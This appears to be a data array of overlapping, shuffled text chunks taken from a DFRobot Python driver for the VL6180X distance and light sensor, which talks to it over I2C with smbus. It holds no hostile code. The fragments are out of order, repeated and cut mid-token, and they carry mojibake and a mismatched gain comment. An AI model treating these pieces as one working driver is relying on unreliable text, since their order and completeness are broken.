"= 0x03F VL6180X_SYSALS_INTEGRATION_PERIOD = 0x040 VL6180X_RESULT_RANGE_STATUS = 0x04D VL6180X_RESULT_ALS_STATUS = 0x04E VL6180X_RESULT_INTERRUPT_STATUS_GPIO =",
"VL6180X_MAX_CONV_ERR = 0x07 VL6180X_IGNORE_ERR = 0x08 VL6180X_MAX_S_N_ERR = 0x0B VL6180X_RAW_Range_UNDERFLOW_ERR = 0x0C VL6180X_RAW_Range_OVERFLOW_ERR",
"@param period_ms Measurement period, in milliseconds ''' def range_set_inter_measurement_period(self,period_ms): if(period_ms > 10): if(period_ms",
"@n VL6180X_NEW_SAMPLE_READY new sample ready ''' def als_config_interrupt(self,mode): if(mode > self.VL6180X_NEW_SAMPLE_READY): return False",
"VL6180X_SYSRANGE_VHV_RECALIBRATE = 0x02E VL6180X_SYSRANGE_VHV_REPEAT_RATE = 0x031 VL6180X_SYSALS_START = 0x038 VL6180X_SYSALS_THRESH_HIGH = 0x03A VL6180X_SYSALS_THRESH_LOW",
"[0x08,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x96,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x97,0xfd]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe3,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe4,0x04]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe5,0x02]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe6,0x01])",
"return False if(gain == self.VL6180X_ALS_GAIN_20): self.__gain = 20 elif(gain == self.VL6180X_ALS_GAIN_10): self.__gain =",
"self.VL6180X_NEW_SAMPLE_READY): return False self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO]) value = self.__i2cbus.read_byte(self.__i2c_addr) value = value | (",
"VL6180X_SYSTEM_MODE_GPIO0 = 0X010 VL6180X_SYSTEM_MODE_GPIO1 = 0X011 VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO = 0x014 VL6180X_SYSTEM_INTERRUPT_CLEAR = 0x015 VL6180X_SYSTEM_FRESH_OUT_OF_RESET",
"Retrieve ranging data @return return ranging data ,uint mm ''' def range_get_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_RANGE_VAL>>8,",
"0x019 VL6180X_SYSRANGE_THRESH_LOW = 0x01A VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD = 0x01B VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME = 0x01C VL6180X_SYSRANGE_EARLY_CONVERGENCE_ESTIMATE = 0x022",
"result of the range measurenments VL6180X_NO_ERR = 0x00 VL6180X_ALS_OVERFLOW_ERR = 0x01 VL6180X_ALS_UNDERFLOW_ERR =",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xf5,0x02]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xd9,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdb,0xce]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdc,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdd,0xf8]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x9f,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00,",
"smbus import time import RPi.GPIO as GPIO class DFRobot_VL6180X: # IIC ADDR VL6180X_IIC_ADDRESS",
"IIC addr ''' def __init__(self,iic_addr =VL6180X_IIC_ADDRESS,bus = 1): self.__i2cbus = smbus.SMBus(bus) self.__i2c_addr =",
"self.VL6180X_ID: return False self.__init() return True ''' @brief Configure the default level of",
"= 0x04D VL6180X_RESULT_ALS_STATUS = 0x04E VL6180X_RESULT_INTERRUPT_STATUS_GPIO = 0x04F VL6180X_RESULT_ALS_VAL = 0x050 VL6180X_RESULT_RANGE_VAL =",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,2]) ''' @brief Single measurement of ambient light @return return The light",
"def start_interleaved_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) time.sleep(1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x01]) ''' @brief",
"state of the ranging @return return status @n 0 �?No threshold events reported",
"0 @n 10 times gain: VL6180X_ALS_GAIN_10 = 1 @n 5 times gain: VL6180X_ALS_GAIN_5",
"times gain: VL6180X_ALS_GAIN_1_67 = 4 @n 1.27 times gain: VL6180X_ALS_GAIN_1_25 = 5 @n",
"ranging @param mode Enable interrupt mode @n VL6180X_INT_DISABLE interrupt disable @n VL6180X_LEVEL_LOW value",
"== self.VL6180X_ALS_GAIN_1_25): self.__gain = 1.25 elif(gain == self.VL6180X_ALS_GAIN_1): self.__gain = 1.0 elif(gain ==",
"identifier of sensor @return Authentication information ''' def __get_device_id(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_IDENTIFICATION_MODEL_ID>>8, [self.VL6180X_IDENTIFICATION_MODEL_ID]) id =",
"Threshold Value @param thresholdL :Lower Threshold @param thresholdH :Upper threshold ''' def set_range_threshold_value(self,threshold_l,threshold_h):",
"elif(gain == self.VL6180X_ALS_GAIN_1): self.__gain = 1.0 elif(gain == self.VL6180X_ALS_GAIN_40): self.__gain = 40 gain",
"= self.__i2cbus.read_byte(self.__i2c_addr) return value ''' @brief Clear ranging interrupt ''' def clear_range_interrupt(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8,",
"[0xe3,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe4,0x04]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe5,0x02]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe6,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe7,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xf5,0x02]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xd9,0x05])",
"The result of the range measurenments VL6180X_NO_ERR = 0x00 VL6180X_ALS_OVERFLOW_ERR = 0x01 VL6180X_ALS_UNDERFLOW_ERR",
"the measured light intensity @return return status @n 0 �?No threshold events reported",
"interrupt function @param mode Enable interrupt mode @n VL6180X_DIS_INTERRUPT disabled interrupt @n VL6180X_DIS_INTERRUPT",
"> self.VL6180X_NEW_SAMPLE_READY): return False self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO]) value = self.__i2cbus.read_byte(self.__i2c_addr) value = value |",
"= 0x038 VL6180X_SYSALS_THRESH_HIGH = 0x03A VL6180X_SYSALS_THRESH_LOW = 0x03C VL6180X_SYSALS_INTERMEASUREMENT_PERIOD = 0x03E VL6180X_SYSALS_ANALOGUE_GAIN =",
"[self.VL6180X_SYSALS_START,0x03]) ''' @brief Configure the period for measuring light intensity @param period_ms Measurement",
"0x01B VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME = 0x01C VL6180X_SYSRANGE_EARLY_CONVERGENCE_ESTIMATE = 0x022 VL6180X_SYSRANGE_MAX_AMBIENT_LEVEL_MULT = 0x02C VL6180X_SYSRANGE_RANGE_CHECK_ENABLES = 0x02D",
"for measuring light intensity @param period_ms Measurement period, in milliseconds ''' def als_set_inter_measurement_period(self,period_ms):",
"VL6180X_ALS_UNDERFLOW_ERR = 0x02 VL6180X_NO_ERR = 0x00 VL6180X_EARLY_CONV_ERR = 0x06 VL6180X_MAX_CONV_ERR = 0x07 VL6180X_IGNORE_ERR",
"if device_id != self.VL6180X_ID: return False self.__init() return True ''' @brief Configure the",
"thresh_low OR value > thresh_high @n VL6180X_NEW_SAMPLE_READY :new sample ready ''' def als_get_interrupt_status(self):",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x97,0xfd]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe3,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe4,0x04]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe5,0x02]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe6,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe7,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00,",
"VL6180X_LEVEL_HIGH :value > thresh_high @n VL6180X_OUT_OF_WINDOW :value < thresh_low OR value > thresh_high",
"Set ALS Threshold Value @param thresholdL :Lower Threshold @param thresholdH :Upper threshold '''",
"thresh_low @n VL6180X_LEVEL_HIGH value > thresh_high @n VL6180X_OUT_OF_WINDOW value < thresh_low OR value",
"= 0x01B VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME = 0x01C VL6180X_SYSRANGE_EARLY_CONVERGENCE_ESTIMATE = 0x022 VL6180X_SYSRANGE_MAX_AMBIENT_LEVEL_MULT = 0x02C VL6180X_SYSRANGE_RANGE_CHECK_ENABLES =",
"VL6180X_LEVEL_HIGH value > thresh_high @n VL6180X_OUT_OF_WINDOW value < thresh_low OR value > thresh_high",
"VL6180X_SYSTEM_FRESH_OUT_OF_RESET = 0x016 VL6180X_SYSTEM_GROUPED_PARAMETER_HOLD = 0x017 VL6180X_SYSRANGE_START = 0x018 VL6180X_SYSRANGE_THRESH_HIGH = 0x019 VL6180X_SYSRANGE_THRESH_LOW",
"[self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x01]) ''' @brief Gets the interrupt state of the",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x20]) elif(mode == self.VL6180X_HIGH_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x10]) elif(mode == self.VL6180X_LOW_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x30]) '''",
":value < thresh_low @n VL6180X_LEVEL_HIGH :value > thresh_high @n VL6180X_OUT_OF_WINDOW :value < thresh_low",
"''' @brief turn on interleaved mode ''' def start_interleaved_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) time.sleep(1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8,",
"gain the value of gain(range 0-7) @n 20 times gain: VL6180X_ALS_GAIN_20 = 0",
"gain: VL6180X_ALS_GAIN_1_25 = 5 @n 1 times gain: VL6180X_ALS_GAIN_1 = 6 @n 40",
"self.__get_device_id() if device_id != self.VL6180X_ID: return False self.__init() return True ''' @brief Configure",
"VL6180X_SYSRANGE_START = 0x018 VL6180X_SYSRANGE_THRESH_HIGH = 0x019 VL6180X_SYSRANGE_THRESH_LOW = 0x01A VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD = 0x01B VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME",
"pin and enable the GPIO1 interrupt function @param mode Enable interrupt mode @n",
"Value @param thresholdL :Lower Threshold @param thresholdH :Upper threshold ''' def set_range_threshold_value(self,threshold_l,threshold_h): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_THRESH_LOW>>8,",
"VL6180X_ALS_GAIN_1_67 = 4 @n 1.27 times gain: VL6180X_ALS_GAIN_1_25 = 5 @n 1 times",
"VL6180X_IIC_ADDRESS = 0x29 # The sensor register address VL6180X_IDENTIFICATION_MODEL_ID = 0x000 VL6180X_SYSTEM_MODE_GPIO0 =",
"@brief Configure the interrupt mode for the ambient light @param mode Enable interrupt",
"succeed ;return False failed. ''' def begin(self): device_id = self.__get_device_id() if device_id !=",
"self.als_get_measurement() ''' @brief Obtain measured light data @return return The light intensity,uint lux",
"@brief Configuration ranging period @param period_ms Measurement period, in milliseconds ''' def range_set_inter_measurement_period(self,period_ms):",
"0x031 VL6180X_SYSALS_START = 0x038 VL6180X_SYSALS_THRESH_HIGH = 0x03A VL6180X_SYSALS_THRESH_LOW = 0x03C VL6180X_SYSALS_INTERMEASUREMENT_PERIOD = 0x03E",
"continuous ranging mode ''' def range_start_continuous_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) time.sleep(0.3); self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7])",
"Gets validation information for range data @return Authentication information ''' def get_range_result(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_RANGE_STATUS>>8,",
"Configure the default level of the INT pin and enable the GPIO1 interrupt",
"self.__i2c_addr = addr ''' @brief Initialize the sensor configuration ''' def __init(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET>>8,",
"[self.VL6180X_SYSALS_THRESH_LOW,threshold_l>>8,value_l]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_THRESH_HIGH>>8, [self.VL6180X_SYSALS_THRESH_HIGH,threshold_h>>8,value_h]) ''' @brief Set the ALS gain @param gain the value",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xac,0x3e]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xa7,0x1f]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x30,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_VHV_REPEAT_RATE>>8, [self.VL6180X_SYSRANGE_VHV_REPEAT_RATE,0xFF]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_VHV_RECALIBRATE>>8, [self.VL6180X_SYSRANGE_VHV_RECALIBRATE,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME>>8,",
"als_start_continuous_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) time.sleep(1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x03]) ''' @brief Configure the period",
"VL6180X_SYSTEM_GROUPED_PARAMETER_HOLD = 0x017 VL6180X_SYSRANGE_START = 0x018 VL6180X_SYSRANGE_THRESH_HIGH = 0x019 VL6180X_SYSRANGE_THRESH_LOW = 0x01A VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD",
"period_ms = 254 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD,period_ms]) ''' @brief Configure the interrupt mode for ranging",
"to IIC addr ''' def __init__(self,iic_addr =VL6180X_IIC_ADDRESS,bus = 1): self.__i2cbus = smbus.SMBus(bus) self.__i2c_addr",
"7 @return true :Set up the success, false :Setup failed ''' def set_als_gain(self,gain):",
"# -*- coding: utf-8 -* \"\"\" file DFRobot_VL6180X.py # DFRobot_VL6180X Class infrastructure, implementation",
"= 20 elif(gain == self.VL6180X_ALS_GAIN_10): self.__gain = 10 elif(gain == self.VL6180X_ALS_GAIN_5): self.__gain =",
"the identifier of sensor @return Authentication information ''' def __get_device_id(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_IDENTIFICATION_MODEL_ID>>8, [self.VL6180X_IDENTIFICATION_MODEL_ID]) id",
"= 1 VL6180X_ALS_GAIN_5 = 2 VL6180X_ALS_GAIN_2_5 = 3 VL6180X_ALS_GAIN_1_67 = 4 VL6180X_ALS_GAIN_1_25 =",
"mode @n VL6180X_INT_DISABLE interrupt disable @n VL6180X_LEVEL_LOW value < thresh_low @n VL6180X_LEVEL_HIGH value",
"of the range measurenments VL6180X_NO_ERR = 0x00 VL6180X_ALS_OVERFLOW_ERR = 0x01 VL6180X_ALS_UNDERFLOW_ERR = 0x02",
"''' @brief Clear ranging interrupt ''' def clear_range_interrupt(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,1]) ''' @brief Clear",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xad,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xff,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x00,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x99,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xa6,0x1b]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xac,0x3e]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01,",
"[self.VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD,0x30]) self.set_als_gain(self.VL6180X_ALS_GAIN_1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x20]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET>>8,",
"= 0x062 VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD = 0x10A VL6180X_FIRMWARE_RESULT_SCALER = 0x120 VL6180X_I2C_SLAVE_DEVICE_ADDRESS = 0x212 VL6180X_INTERLEAVED_MODE_ENABLE =",
"* self.__gain)/0.32) value_h = int((threshold_h* self.__gain)/0.32) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_THRESH_LOW>>8, [self.VL6180X_SYSALS_THRESH_LOW,threshold_l>>8,value_l]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_THRESH_HIGH>>8, [self.VL6180X_SYSALS_THRESH_HIGH,threshold_h>>8,value_h]) ''' @brief Set",
"measured light data @return return The light intensity,uint lux ''' def als_get_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_ALS_VAL>>8,",
"[self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD,0x31]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTEGRATION_PERIOD>>8, [self.VL6180X_SYSALS_INTEGRATION_PERIOD,0x63]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD>>8, [self.VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD,0x30]) self.set_als_gain(self.VL6180X_ALS_GAIN_1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x20]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8,",
"> thresh_high @n VL6180X_NEW_SAMPLE_READY new sample ready ''' def range_config_interrupt(self,mode): if(mode > self.VL6180X_NEW_SAMPLE_READY):",
"''' @brief Obtain measured light data @return return The light intensity,uint lux '''",
"= 0x120 VL6180X_I2C_SLAVE_DEVICE_ADDRESS = 0x212 VL6180X_INTERLEAVED_MODE_ENABLE = 0x2A3 # The valid ID of",
"thresholdL :Lower Threshold @param thresholdH :Upper threshold ''' def set_als_threshold_value(self,threshold_l,threshold_h): value_l = int((threshold_l",
":value > thresh_high @n VL6180X_OUT_OF_WINDOW :value < thresh_low OR value > thresh_high @n",
"by default ''' def set_interrupt(self,mode): if(mode == self.VL6180X_DIS_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x20]) elif(mode == self.VL6180X_HIGH_INTERRUPT):",
"ambient light intensity mode ''' def als_start_continuous_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) time.sleep(1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8,",
"/ 10 ) -1 else: period_ms = 254 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD,period_ms]) ''' @brief Configure",
"0x050 VL6180X_RESULT_RANGE_VAL = 0x062 VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD = 0x10A VL6180X_FIRMWARE_RESULT_SCALER = 0x120 VL6180X_I2C_SLAVE_DEVICE_ADDRESS = 0x212",
"GPIO1 interrupt enabled, INT low by default ''' def set_interrupt(self,mode): if(mode == self.VL6180X_DIS_INTERRUPT):",
"set_interrupt(self,mode): if(mode == self.VL6180X_DIS_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x20]) elif(mode == self.VL6180X_HIGH_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x10]) elif(mode ==",
"1.67 elif(gain == self.VL6180X_ALS_GAIN_1_25): self.__gain = 1.25 elif(gain == self.VL6180X_ALS_GAIN_1): self.__gain = 1.0",
"''' def range_start_continuous_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) time.sleep(0.3); self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x03]) '''",
"Set to IIC addr ''' def __init__(self,iic_addr =VL6180X_IIC_ADDRESS,bus = 1): self.__i2cbus = smbus.SMBus(bus)",
"Enable continuous measurement of ambient light intensity mode ''' def als_start_continuous_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01])",
"self.__gain = 2.5 elif(gain == self.VL6180X_ALS_GAIN_1_67): self.__gain = 1.67 elif(gain == self.VL6180X_ALS_GAIN_1_25): self.__gain",
"implementation of underlying methods @copyright Copyright (c) 2010 DFRobot Co.Ltd (http://www.dfrobot.com) @licence The",
"elif(gain == self.VL6180X_ALS_GAIN_1_67): self.__gain = 1.67 elif(gain == self.VL6180X_ALS_GAIN_1_25): self.__gain = 1.25 elif(gain",
"1.0 elif(gain == self.VL6180X_ALS_GAIN_40): self.__gain = 40 gain =gain | 0x40 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_ANALOGUE_GAIN>>8, [self.VL6180X_SYSALS_ANALOGUE_GAIN,gain])",
"<< 3 ) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,value]) ''' @brief Enable continuous ranging mode ''' def",
"thresholdL :Lower Threshold @param thresholdH :Upper threshold ''' def set_range_threshold_value(self,threshold_l,threshold_h): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_THRESH_LOW>>8, [self.VL6180X_SYSRANGE_THRESH_LOW,threshold_l]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_THRESH_HIGH>>8,",
"@return return The light intensity,uint lux ''' def als_poll_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) return self.als_get_measurement()",
"VL6180X_ALS_OVERFLOW_ERR = 0x01 VL6180X_ALS_UNDERFLOW_ERR = 0x02 VL6180X_NO_ERR = 0x00 VL6180X_EARLY_CONV_ERR = 0x06 VL6180X_MAX_CONV_ERR",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_VHV_REPEAT_RATE>>8, [self.VL6180X_SYSRANGE_VHV_REPEAT_RATE,0xFF]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_VHV_RECALIBRATE>>8, [self.VL6180X_SYSRANGE_VHV_RECALIBRATE,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME>>8, [self.VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME,0x31]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD,0x31]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTEGRATION_PERIOD>>8, [self.VL6180X_SYSALS_INTEGRATION_PERIOD,0x63]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD>>8,",
"range_set_inter_measurement_period(self,period_ms): if(period_ms > 10): if(period_ms < 2550): period_ms = ( period_ms / 10",
